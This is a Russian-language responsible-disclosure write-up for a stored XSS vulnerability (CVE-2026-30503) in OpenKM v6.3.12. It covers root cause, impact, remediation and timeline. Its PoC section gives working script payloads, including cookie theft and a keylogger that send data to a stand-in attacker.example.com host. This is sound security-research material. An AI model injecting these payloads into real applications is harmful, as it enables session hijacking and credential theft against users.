
# Раскрытие CVE-2026-30503: хранимая XSS-уязвимость в OpenKM v6.3.12 Подробное раскрытие CVE-2026-30503 — хранимой XSS-уязвимости в OpenKM v6.3.12. Включает анализ первопричины, PoC-пейлоады, оценку воздействия и рекомендации по устранению для исследователей безопасности и пентестеров.
Обнаружено и сообщено: Dharmendra Kumar — исследователь безопасности
Кибербезопасность | Тестирование на проникновение | Исследование уязвимостей | Ответственное раскрытие
В этом репозитории документируется ответственное раскрытие CVE-2026-30503 — уязвимости хранимого межсайтового скриптинга (Stored Cross-Site Scripting, XSS), обнаруженной в OpenKM v6.3.12 — системе управления документами с открытым исходным кодом, широко используемой в корпоративных средах.
Уязвимость позволяет аутентифицированному злоумышленнику внедрить постоянный вредоносный JavaScript в приложение, который выполняется в контексте браузера любого пользователя (включая администраторов), впоследствии просматривающего затронутый контент.
⚠️ Серьёзность: Высокая | Вектор атаки: Сеть | Требуемые привилегии: Низкие | Взаимодействие с пользователем: Требуется
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-30503 |
| Продукт | OpenKM |
| Затронутая версия | v6.3.12 |
| Класс уязвимости | Хранимый межсайтовый скриптинг (XSS) |
| CWE | CWE-79: Improper Neutralization of Input During Web Page Generation |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| Исследователь | Dharmendra Kumar |
| Тип раскрытия | Ответственное / скоординированное |
OpenKM — это бесплатная система управления документами (DMS) с открытым исходным кодом, предоставляющая веб-интерфейс для управления, аудита и распространения бизнес-документов. Она используется предприятиями, государственными органами и образовательными учреждениями по всему миру.
v6.3.12В OpenKM v6.3.12 обнаружено несколько уязвимостей хранимого межсайтового скриптинга (Stored XSS). Злоумышленник с низкопривилегированным аутентифицированным доступом может внедрять произвольные JavaScript-полезные нагрузки в одно или несколько полей ввода. Эти полезные нагрузки постоянно хранятся в бэкенде приложения и автоматически выполняются всякий раз, когда любой пользователь — включая администраторов — обращается к затронутой странице или компоненту.
В отличие от отражённого XSS, который требует, чтобы жертва перешла по специально созданной ссылке, полезные нагрузки хранимого XSS встроены в само приложение, что делает их значительно более опасными и устойчивыми.
Уязвимость возникает из-за трёх усугубляющих друг друга слабостей в конвейере обработки ввода приложения:
User Input ──► [NO Validation] ──► Stored in DB ──► [NO Output Encoding] ──► Rendered in Browser ──► XSS Executed
| Слабость | Описание |
|---|---|
| ❌ Отсутствие валидации ввода | Приложение не ограничивает и не санитизирует специальные символы (<, >, ", ', ;) в полях, заполняемых пользователем |
| ❌ Отсутствие кодирования вывода | Сохранённые значения отображаются непосредственно в HTML без кодирования HTML-сущностей |
| ❌ Небезопасный рендеринг DOM | Данные, предоставленные пользователем, встраиваются в контекст DOM без CSP или средств санитизации |
Успешная эксплуатация этой уязвимости может привести к:
| Риск | Описание |
|---|---|
| 🍪 Угон сессии | Кража аутентификационных токенов сессии через эксфильтрацию document.cookie |
| 👤 Захват учётной записи | Компрометация учётных записей жертв, включая учётные записи администраторов |
| 🔐 Сбор учётных данных | Внедрение фишинговых форм для перехвата учётных данных |
| 📤 Эксфильтрация данных | Скрытое извлечение конфиденциальных документов или метаданных из DMS |
| ⚙️ Несанкционированные действия | Выполнение привилегированных операций от имени жертвы (удаление/изменение документов) |
| 🎯 Нацеливание на администраторов | Полезная нагрузка выполняется в админ-панели, когда администратор просматривает контент |
| 🔄 Распространение червя | Самовоспроизводящаяся XSS-полезная нагрузка может распространяться между пользователями |
⚠️ Отказ от ответственности: Этот PoC предоставлен строго в образовательных целях и для исследований в области безопасности в рамках принципов ответственного раскрытия. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
// Basic PoC — demonstrates script execution
<script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>
// Session token exfiltration
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Keylogger injection
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>| Рекомендация | Реализация |
|---|---|
| ✅ Валидация ввода | Составьте белый список допустимых символов; отклоняйте или удаляйте HTML-спецсимволы во всех пользовательских вводах |
| ✅ Кодирование вывода | Используйте контекстно-зависимое HTML-кодирование (например, OWASP Java Encoder) перед выводом данных в HTML |
| ✅ Политика безопасности контента (CSP) | Внедрите строгий CSP-заголовок: Content-Security-Policy: script-src 'self' |
| ✅ HTTPOnly и безопасные cookie | Установите флаги HttpOnly и Secure для всех cookie сессии, чтобы предотвратить доступ из JavaScript |
| ✅ Использование библиотек безопасности | Интегрируйте OWASP AntiSamy или DOMPurify для санитизации HTML |
| ✅ Проверка кода на безопасность | Аудируйте все пути рендеринга на предмет несанитизированных пользовательских данных |
| ✅ Обновление | Примените последний патч от вендора или обновитесь до исправленной версии |
| Дата | Событие |
|---|---|
| 🔍 Обнаружение | Уязвимость выявлена в ходе оценки безопасности OpenKM v6.3.12 |
| 📧 Уведомление вендора | Первоначальный отчёт о раскрытии отправлен команде безопасности OpenKM |
| 🤝 Подтверждение вендором | Команда OpenKM подтвердила получение отчёта |
| 📝 Присвоение CVE | CVE-2026-30503 присвоен программой CVE |
| 🌐 Публичное раскрытие | Скоординированное публичное раскрытие после периода устранения уязвимости |
Эта уязвимость была раскрыта в соответствии с лучшими практиками ответственного раскрытия, со скоординированными действиями с вендором и программой CVE до публичного выпуска.
Исследователь безопасности | Пентестер | Багхантер
Dharmendra Kumar — независимый исследователь кибербезопасности, специализирующийся на безопасности веб-приложений, тестировании на проникновение и ответственном раскрытии уязвимостей. Сосредоточившись на выявлении реальных проблем безопасности в широко используемом программном обеспечении, он вносит вклад в повышение уровня безопасности приложений, используемых по всему миру.
Области экспертизы:
Контакты:
Этот репозиторий предназначен исключительно для образовательных и информационных целей. Сведения об уязвимости и PoC-полезные нагрузки, опубликованные здесь, размещены в соответствии с принципами ответственного раскрытия. Автор не одобряет, не поощряет и не несёт ответственности за любое несанкционированное использование этой информации. Всегда получайте явное письменное разрешение перед проведением тестирования безопасности любой системы.
Отдельная благодарность:
⭐ Если это исследование было полезным, рассмотрите возможность поставить звёздочку этому репозиторию.
© 2026 Dharmendra Kumar — Все права защищены